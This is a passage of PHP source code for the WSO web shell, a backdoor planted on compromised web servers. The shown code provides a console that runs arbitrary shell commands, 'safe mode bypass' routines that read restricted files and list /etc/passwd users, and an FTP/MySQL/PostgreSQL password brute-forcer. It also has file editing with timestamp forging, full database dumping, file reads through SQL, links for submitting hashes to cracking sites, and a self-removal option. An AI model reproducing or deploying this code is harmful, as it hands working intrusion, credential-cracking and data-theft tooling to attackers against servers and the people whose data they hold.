  1172. 'CRC32' => 'crc32',
  1173. 'ASCII to HEX' => 'ascii2hex',
  1174. 'HEX to ASCII' => 'hex2ascii',
  1175. 'HEX to DEC' => 'hexdec',
  1176. 'HEX to BIN' => 'hex2bin',
  1177. 'DEC to HEX' => 'dechex',
  1178. 'DEC to BIN' => 'decbin',
  1179. 'BIN to HEX' => 'binhex',
  1180. 'BIN to DEC' => 'bindec',
  1181. 'String to lower case' => 'strtolower',
  1182. 'String to upper case' => 'strtoupper',
  1183. 'Htmlspecialchars' => 'htmlspecialchars',
  1184. 'String length' => 'strlen',
  1185. );
  1186. if(isset($_POST['ajax'])) {
  1187. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
  1188. ob_start();
  1189. if(in_array($_POST['p1'], $stringTools))
  1190. echo $_POST['p1']($_POST['p2']);
  1191. $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
  1192. echo strlen($temp), "\n", $temp;
  1193. exit;
  1194. }
  1195. wsoHeader();
  1196. echo '<h1>String conversions</h1><div class=content>';
  1197. if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  1198. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
  1199. echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
  1200. foreach($stringTools as $k => $v)
  1201. echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
  1202. echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
  1203. if(!empty($_POST['p1'])) {
  1204. if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
  1205. }
  1206. echo"</pre></div><br><h1>Search text in files:</h1><div class=content>
  1207.  
  1208. <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
  1209. <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
  1210. <tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
  1211. <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
  1212. <tr><td></td><td><input type='submit' value='>>'></td></tr>
  1213. </table></form>";
  1214.  
  1215. function wsoRecursiveGlob($path) {
  1216. if(substr($path, -1) != '/')
  1217. $path.='/';
  1218. $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
  1219. if(is_array($paths)&&@count($paths)) {
  1220. foreach($paths as $item) {
  1221. if(@is_dir($item)){
  1222. if($path!=$item)
  1223. wsoRecursiveGlob($item);
  1224. } else {
  1225. if(@strpos(@file_get_contents($item), @$_POST['p2'])!==false)
  1226. echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\")'>".htmlspecialchars($item)."</a><br>";
  1227. }
  1228. }
  1229. }
  1230. }
  1231. if(@$_POST['p3'])
  1232. wsoRecursiveGlob($_POST['c']);
  1233. echo "</div><br><h1>Search for hash:</h1><div class=content>
  1234.  
  1235. <form method='post' target='_blank' name='hf'>
  1236. <input type='text' name='hash' style='width:200px;'><br>
  1237. <input type='button' value='hashcrack.com' onclick=\"document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()\"><br>
  1238. <input type='button' value='milw0rm.com' onclick=\"document.hf.action='http://www.milw0rm.com/cracker/search.php';document.hf.submit()\"><br>
  1239. <input type='button' value='hashcracking.info' onclick=\"document.hf.action='https://hashcracking.info/index.php';document.hf.submit()\"><br>
  1240. <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
  1241. <input type='button' value='md5decrypter.com' onclick=\"document.hf.action='http://www.md5decrypter.com/';document.hf.submit()\"><br>
  1242. </form></div>";
  1243. wsoFooter();
  1244. }
  1245.  
  1246. function actionFilesTools() {
  1247. if( isset($_POST['p1']) )
  1248. $_POST['p1'] = urldecode($_POST['p1']);
  1249. if(@$_POST['p2']=='download') {
  1250. if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
  1251. ob_start("ob_gzhandler", 4096);
  1252. header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
  1253. if (function_exists("mime_content_type")) {
  1254. $type = @mime_content_type($_POST['p1']);
  1255. header("Content-Type: " . $type);
  1256. } else
  1257. header("Content-Type: application/octet-stream");
  1258. $fp = @fopen($_POST['p1'], "r");
  1259. if($fp) {
  1260. while(!@feof($fp))
  1261. echo @fread($fp, 1024);
  1262. fclose($fp);
  1263. }
  1264. }exit;
  1265. }
  1266. if( @$_POST['p2'] == 'mkfile' ) {
  1267. if(!file_exists($_POST['p1'])) {
  1268. $fp = @fopen($_POST['p1'], 'w');
  1269. if($fp) {
  1270. $_POST['p2'] = "edit";
  1271. fclose($fp);
  1272. }
  1273. }
  1274. }
  1275. wsoHeader();
  1276. echo '<h1>File tools</h1><div class=content>';
  1277. if( !file_exists(@$_POST['p1']) ) {
  1278. echo 'File not exists';
  1279. wsoFooter();
  1280. return;
  1281. }
  1282. $uid = @posix_getpwuid(@fileowner($_POST['p1']));
  1283. if(!$uid) {
  1284. $uid['name'] = @fileowner($_POST['p1']);
  1285. $gid['name'] = @filegroup($_POST['p1']);
  1286. } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
  1287. echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
  1288. echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
  1289. if( empty($_POST['p2']) )
  1290. $_POST['p2'] = 'view';
  1291. if( is_file($_POST['p1']) )
  1292. $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
  1293. else
  1294. $m = array('Chmod', 'Rename', 'Touch');
  1295. foreach($m as $v)
  1296. echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
  1297. echo '<br><br>';
  1298. switch($_POST['p2']) {
  1299. case 'view':
  1300. echo '<pre class=ml1>';
  1301. $fp = @fopen($_POST['p1'], 'r');
  1302. if($fp) {
  1303. while( !@feof($fp) )
  1304. echo htmlspecialchars(@fread($fp, 1024));
  1305. @fclose($fp);
  1306. }
  1307. echo '</pre>';
  1308. break;
  1309. case 'highlight':
  1310. if( @is_readable($_POST['p1']) ) {
  1311. echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
  1312. $code = @highlight_file($_POST['p1'],true);
  1313. echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
  1314. }
  1315. break;
  1316. case 'chmod':
  1317. if( !empty($_POST['p3']) ) {
  1318. $perms = 0;
  1319. for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
  1320. $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
  1321. if(!@chmod($_POST['p1'], $perms))
  1322. echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
  1323. }
  1324. clearstatcache();
  1325. echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
  1326. break;
  1327. case 'edit':
  1328. if( !is_writable($_POST['p1'])) {
  1329. echo 'File isn\'t writeable';
  1330. break;
  1331. }
  1332. if( !empty($_POST['p3']) ) {
  1333. $time = @filemtime($_POST['p1']);
  1334. $_POST['p3'] = substr($_POST['p3'],1);
  1335. $fp = @fopen($_POST['p1'],"w");
  1336. if($fp) {
  1337. @fwrite($fp,$_POST['p3']);
  1338. @fclose($fp);
  1339. echo 'Saved!<br><script>p3_="";</script>';
  1340. @touch($_POST['p1'],$time,$time);
  1341. }
  1342. }
  1343. echo '<form onsubmit="g(null,null,null,null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
  1344. $fp = @fopen($_POST['p1'], 'r');
  1345. if($fp) {
  1346. while( !@feof($fp) )
  1347. echo htmlspecialchars(@fread($fp, 1024));
  1348. @fclose($fp);
  1349. }
  1350. echo '</textarea><input type=submit value=">>"></form>';
  1351. break;
  1352. case 'hexdump':
  1353. $c = @file_get_contents($_POST['p1']);
  1354. $n = 0;
  1355. $h = array('00000000<br>','','');
  1356. $len = strlen($c);
  1357. for ($i=0; $i<$len; ++$i) {
  1358. $h[1] .= sprintf('%02X',ord($c[$i])).' ';
  1359. switch ( ord($c[$i]) ) {
  1360. case 0: $h[2] .= ' '; break;
  1361. case 9: $h[2] .= ' '; break;
  1362. case 10: $h[2] .= ' '; break;
  1363. case 13: $h[2] .= ' '; break;
  1364. default: $h[2] .= $c[$i]; break;
  1365. }
  1366. $n++;
  1367. if ($n == 32) {
  1368. $n = 0;
  1369. if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
  1370. $h[1] .= '<br>';
  1371. $h[2] .= "\n";
  1372. }
  1373. }
  1374. echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
  1375. break;
  1376. case 'rename':
  1377. if( !empty($_POST['p3']) ) {
  1378. if(!@rename($_POST['p1'], $_POST['p3']))
  1379. echo 'Can\'t rename!<br>';
  1380. else
  1381. die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
  1382. }
  1383. echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
  1384. break;
  1385. case 'touch':
  1386. if( !empty($_POST['p3']) ) {
  1387. $time = strtotime($_POST['p3']);
  1388. if($time) {
  1389. if(!touch($_POST['p1'],$time,$time))
  1390. echo 'Fail!';
  1391. else
  1392. echo 'Touched!';
  1393. } else echo 'Bad time format!';
  1394. }
  1395. clearstatcache();
  1396. echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
  1397. break;
  1398. }
  1399. echo '</div>';
  1400. wsoFooter();
  1401. }
  1402.  
  1403. function actionSafeMode() {
  1404. $temp='';
  1405. ob_start();
  1406. switch($_POST['p1']) {
  1407. case 1:
  1408. $temp=@tempnam($test, 'cx');
  1409. if(@copy("compress.zlib://".$_POST['p2'], $temp)){
  1410. echo @file_get_contents($temp);
  1411. unlink($temp);
  1412. } else
  1413. echo 'Sorry... Can\'t open file';
  1414. break;
  1415. case 2:
  1416. $files = glob($_POST['p2'].'*');
  1417. if( is_array($files) )
  1418. foreach ($files as $filename)
  1419. echo $filename."\n";
  1420. break;
  1421. case 3:
  1422. $ch = curl_init("file://".$_POST['p2']."\x00".preg_replace('!\(\d+\)\s.*!', '', __FILE__));
  1423. curl_exec($ch);
  1424. break;
  1425. case 4:
  1426. ini_restore("safe_mode");
  1427. ini_restore("open_basedir");
  1428. include($_POST['p2']);
  1429. break;
  1430. case 5:
  1431. for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
  1432. $uid = @posix_getpwuid($_POST['p2']);
  1433. if ($uid)
  1434. echo join(':',$uid)."\n";
  1435. }
  1436. break;
  1437. }
  1438. $temp = ob_get_clean();
  1439. wsoHeader();
  1440. echo '<h1>Safe mode bypass</h1><div class=content>';
  1441. echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
  1442. if($temp)
  1443. echo '<pre class="ml1" style="margin-top:5px" id="Output">'.htmlspecialchars($temp).'</pre>';
  1444. echo '</div>';
  1445. wsoFooter();
  1446. }
  1447.  
  1448. function actionConsole() {
  1449. if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
  1450. $_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out'] = true;
  1451. $_POST['p1'] .= ' 2>&1';
  1452. } elseif(!empty($_POST['p1']))
  1453. $_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out'] = false;
  1454.  
  1455. if(isset($_POST['ajax'])) {
  1456. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
  1457. ob_start();
  1458. echo "d.cf.cmd.value='';\n";
  1459. $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".wsoEx($_POST['p1']),"\n\r\t\\'\0"));
  1460. if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
  1461. if(@chdir($match[1])) {
  1462. $GLOBALS['cwd'] = @getcwd();
  1463. echo "c_='".$GLOBALS['cwd']."';";
  1464. }
  1465. }
  1466. echo "d.cf.output.value+='".$temp."';";
  1467. echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
  1468. $temp = ob_get_clean();
  1469. echo strlen($temp), "\n", $temp;
  1470. exit;
  1471. }
  1472. wsoHeader();
  1473. echo "<script>
  1474. if(window.Event) window.captureEvents(Event.KEYDOWN);
  1475. var cmds = new Array('');
  1476. var cur = 0;
  1477. function kp(e) {
  1478. var n = (window.Event) ? e.which : e.keyCode;
  1479. if(n == 38) {
  1480. cur--;
  1481. if(cur>=0)
  1482. document.cf.cmd.value = cmds[cur];
  1483. else
  1484. cur++;
  1485. } else if(n == 40) {
  1486. cur++;
  1487. if(cur < cmds.length)
  1488. document.cf.cmd.value = cmds[cur];
  1489. else
  1490. cur--;
  1491. }
  1492. }
  1493. function add(cmd) {
  1494. cmds.pop();
  1495. cmds.push(cmd);
  1496. cmds.push('');
  1497. cur = cmds.length-1;
  1498. }
  1499.  
  1500. </script>";
  1501. echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
  1502. foreach($GLOBALS['aliases'] as $n => $v) {
  1503. if($v == '') {
  1504. echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
  1505. continue;
  1506. }
  1507. echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
  1508. }
  1509. if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  1510. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
  1511. echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
  1512. if(!empty($_POST['p1'])) {
  1513. echo htmlspecialchars("$ ".$_POST['p1']."\n".wsoEx($_POST['p1']));
  1514. }
  1515. echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
  1516. echo '</form></div><script>d.cf.cmd.focus();</script>';
  1517. wsoFooter();
  1518. }
  1519.  
  1520. function actionLogout() {
  1521. session_destroy();
  1522. die('bye!');
  1523. }
  1524.  
  1525. function actionSelfRemove() {
  1526.  
  1527. if($_POST['p1'] == 'yes')
  1528. if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
  1529. die('Shell has been removed');
  1530. else
  1531. echo 'unlink error!';
  1532. if($_POST['p1'] != 'yes')
  1533. wsoHeader();
  1534. echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
  1535. wsoFooter();
  1536. }
  1537.  
  1538. function actionBruteforce() {
  1539. wsoHeader();
  1540. if( isset($_POST['proto']) ) {
  1541. echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
  1542. if( $_POST['proto'] == 'ftp' ) {
  1543. function bruteForce($ip,$port,$login,$pass) {
  1544. $fp = @ftp_connect($ip, $port?$port:21);
  1545. if(!$fp) return false;
  1546. $res = @ftp_login($fp, $login, $pass);
  1547. @ftp_close($fp);
  1548. return $res;
  1549. }
  1550. } elseif( $_POST['proto'] == 'mysql' ) {
  1551. function bruteForce($ip,$port,$login,$pass) {
  1552. $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
  1553. @mysql_close($res);
  1554. return $res;
  1555. }
  1556. } elseif( $_POST['proto'] == 'pgsql' ) {
  1557. function bruteForce($ip,$port,$login,$pass) {
  1558. $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
  1559. $res = @pg_connect($str);
  1560. @pg_close($res);
  1561. return $res;
  1562. }
  1563. }
  1564. $success = 0;
  1565. $attempts = 0;
  1566. $server = explode(":", $_POST['server']);
  1567. if($_POST['type'] == 1) {
  1568. $temp = @file('/etc/passwd');
  1569. if( is_array($temp) )
  1570. foreach($temp as $line) {
  1571. $line = explode(":", $line);
  1572. ++$attempts;
  1573. if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
  1574. $success++;
  1575. echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
  1576. }
  1577. if(@$_POST['reverse']) {
  1578. $tmp = "";
  1579. for($i=strlen($line[0])-1; $i>=0; --$i)
  1580. $tmp .= $line[0][$i];
  1581. ++$attempts;
  1582. if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
  1583. $success++;
  1584. echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
  1585. }
  1586. }
  1587. }
  1588. } elseif($_POST['type'] == 2) {
  1589. $temp = @file($_POST['dict']);
  1590. if( is_array($temp) )
  1591. foreach($temp as $line) {
  1592. $line = trim($line);
  1593. ++$attempts;
  1594. if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
  1595. $success++;
  1596. echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
  1597. }
  1598. }
  1599. }
  1600. echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
  1601. }
  1602. echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
  1603. .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
  1604. .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
  1605. .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
  1606. .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
  1607. .'<span>Server:port</span></td>'
  1608. .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
  1609. .'<tr><td><span>Brute type</span></td>'
  1610. .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
  1611. .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
  1612. .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
  1613. .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
  1614. .'<td><input type=text name=login value="root"></td></tr>'
  1615. .'<tr><td><span>Dictionary</span></td>'
  1616. .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
  1617. .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
  1618. echo '</div><br>';
  1619. wsoFooter();
  1620. }
  1621.  
  1622. function actionSql() {
  1623. class DbClass {
  1624. var $type;
  1625. var $link;
  1626. var $res;
  1627. function DbClass($type) {
  1628. $this->type = $type;
  1629. }
  1630. function connect($host, $user, $pass, $dbname){
  1631. switch($this->type) {
  1632. case 'mysql':
  1633. if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
  1634. break;
  1635. case 'pgsql':
  1636. $host = explode(':', $host);
  1637. if(!$host[1]) $host[1]=5432;
  1638. if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
  1639. break;
  1640. }
  1641. return false;
  1642. }
  1643. function selectdb($db) {
  1644. switch($this->type) {
  1645. case 'mysql':
  1646. if (@mysql_select_db($db))return true;
  1647. break;
  1648. }
  1649. return false;
  1650. }
  1651. function query($str) {
  1652. switch($this->type) {
  1653. case 'mysql':
  1654. return $this->res = @mysql_query($str);
  1655. break;
  1656. case 'pgsql':
  1657. return $this->res = @pg_query($this->link,$str);
  1658. break;
  1659. }
  1660. return false;
  1661. }
  1662. function fetch() {
  1663. $res = func_num_args()?func_get_arg(0):$this->res;
  1664. switch($this->type) {
  1665. case 'mysql':
  1666. return @mysql_fetch_assoc($res);
  1667. break;
  1668. case 'pgsql':
  1669. return @pg_fetch_assoc($res);
  1670. break;
  1671. }
  1672. return false;
  1673. }
  1674. function listDbs() {
  1675. switch($this->type) {
  1676. case 'mysql':
  1677. return $this->query("SHOW databases");
  1678. break;
  1679. case 'pgsql':
  1680. return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
  1681. break;
  1682. }
  1683. return false;
  1684. }
  1685. function listTables() {
  1686. switch($this->type) {
  1687. case 'mysql':
  1688. return $this->res = $this->query('SHOW TABLES');
  1689. break;
  1690. case 'pgsql':
  1691. return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
  1692. break;
  1693. }
  1694. return false;
  1695. }
  1696. function error() {
  1697. switch($this->type) {
  1698. case 'mysql':
  1699. return @mysql_error();
  1700. break;
  1701. case 'pgsql':
  1702. return @pg_last_error();
  1703. break;
  1704. }
  1705. return false;
  1706. }
  1707. function setCharset($str) {
  1708. switch($this->type) {
  1709. case 'mysql':
  1710. if(function_exists('mysql_set_charset'))
  1711. return @mysql_set_charset($str, $this->link);
  1712. else
  1713. $this->query('SET CHARSET '.$str);
  1714. break;
  1715. case 'pgsql':
  1716. return @pg_set_client_encoding($this->link, $str);
  1717. break;
  1718. }
  1719. return false;
  1720. }
  1721. function loadFile($str) {
  1722. switch($this->type) {
  1723. case 'mysql':
  1724. return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
  1725. break;
  1726. case 'pgsql':
  1727. $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
  1728. $r=array();
  1729. while($i=$this->fetch())
  1730. $r[] = $i['file'];
  1731. $this->query('drop table wso2');
  1732. return array('file'=>implode("\n",$r));
  1733. break;
  1734. }
  1735. return false;
  1736. }
  1737. function dump($table, $fp = false) {
  1738. switch($this->type) {
  1739. case 'mysql':
  1740. $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
  1741. $create = mysql_fetch_array($res);
  1742. $sql = $create[1].";\n";
  1743. if($fp) fwrite($fp, $sql); else echo($sql);
  1744. $this->query('SELECT * FROM `'.$table.'`');
  1745. $head = true;
  1746. while($item = $this->fetch()) {
  1747. $columns = array();
  1748. foreach($item as $k=>$v) {
  1749. if($v == null)
  1750. $item[$k] = "NULL";
  1751. elseif(is_numeric($v))
  1752. $item[$k] = $v;
  1753. else
  1754. $item[$k] = "'".@mysql_real_escape_string($v)."'";
  1755. $columns[] = "`".$k."`";
  1756. }
  1757. if($head) {
  1758. $sql = 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $item).')';
  1759. $head = false;
  1760. } else
  1761. $sql = "\n\t,(".implode(", ", $item).')';
  1762. if($fp) fwrite($fp, $sql); else echo($sql);
  1763. }
  1764. if(!$head)
  1765. if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n");
  1766. break;
  1767. case 'pgsql':
  1768. $this->query('SELECT * FROM '.$table);
  1769. while($item = $this->fetch()) {
  1770. $columns = array();
  1771. foreach($item as $k=>$v) {
  1772. $item[$k] = "'".addslashes($v)."'";
  1773. $columns[] = $k;
  1774. }
  1775. $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
  1776. if($fp) fwrite($fp, $sql); else echo($sql);
  1777. }
  1778. break;
  1779. }
  1780. return false;
  1781. }
  1782. };
  1783. $db = new DbClass($_POST['type']);
  1784. if(@$_POST['p2']=='download') {
  1785. $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
  1786. $db->selectdb($_POST['sql_base']);
  1787. switch($_POST['charset']) {
  1788. case "Windows-1251": $db->setCharset('cp1251'); break;
  1789. case "UTF-8": $db->setCharset('utf8'); break;
  1790. case "KOI8-R": $db->setCharset('koi8r'); break;
  1791. case "KOI8-U": $db->setCharset('koi8u'); break;
  1792. case "cp866": $db->setCharset('cp866'); break;
  1793. }
  1794. if(empty($_POST['file'])) {
  1795. ob_start("ob_gzhandler", 4096);
  1796. header("Content-Disposition: attachment; filename=dump.sql");
  1797. header("Content-Type: text/plain");
  1798. foreach($_POST['tbl'] as $v)
  1799. $db->dump($v);
  1800. exit;
  1801. } elseif($fp = @fopen($_POST['file'], 'w')) {
  1802. foreach($_POST['tbl'] as $v)
  1803. $db->dump($v, $fp);
  1804. fclose($fp);
  1805. unset($_POST['p2']);
  1806. } else
  1807. die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
  1808. }
  1809. wsoHeader();
  1810. echo "
  1811.  
  1812. <h1>Sql browser</h1><div class=content>
  1813. <form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
  1814. <td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
  1815. <input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
  1816. <td><select name='type'><option value='mysql' ";
  1817. if(@$_POST['type']=='mysql')echo 'selected';
  1818. echo ">MySql</option><option value='pgsql' ";
  1819. if(@$_POST['type']=='pgsql')echo 'selected';
  1820. echo ">PostgreSql</option></select></td>
  1821. <td><input type=text name=sql_host value='". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."'></td>
  1822. <td><input type=text name=sql_login value='". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."'></td>
  1823. <td><input type=text name=sql_pass value='". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."'></td><td>";
  1824. $tmp = "<input type=text name=sql_base value=''>";
  1825. if(isset($_POST['sql_host'])){
  1826. if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
  1827. switch($_POST['charset']) {
  1828. case "Windows-1251": $db->setCharset('cp1251'); break;
  1829. case "UTF-8": $db->setCharset('utf8'); break;
  1830. case "KOI8-R": $db->setCharset('koi8r'); break;
  1831. case "KOI8-U": $db->setCharset('koi8u'); break;
  1832. case "cp866": $db->setCharset('cp866'); break;
  1833. }
  1834. $db->listDbs();
  1835. echo "<select name=sql_base><option value=''></option>";
  1836. while($item = $db->fetch()) {
  1837. list($key, $value) = each($item);
